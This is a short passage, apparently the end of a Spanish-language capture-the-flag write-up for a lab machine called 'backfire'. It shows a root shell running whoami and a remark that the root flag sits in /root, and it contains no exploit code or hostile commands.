Linux backfire 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
root@backfire:~# whoami

root

GG. Podemos leer la flag del usuario root en el directorio /root.

~Happy Hacking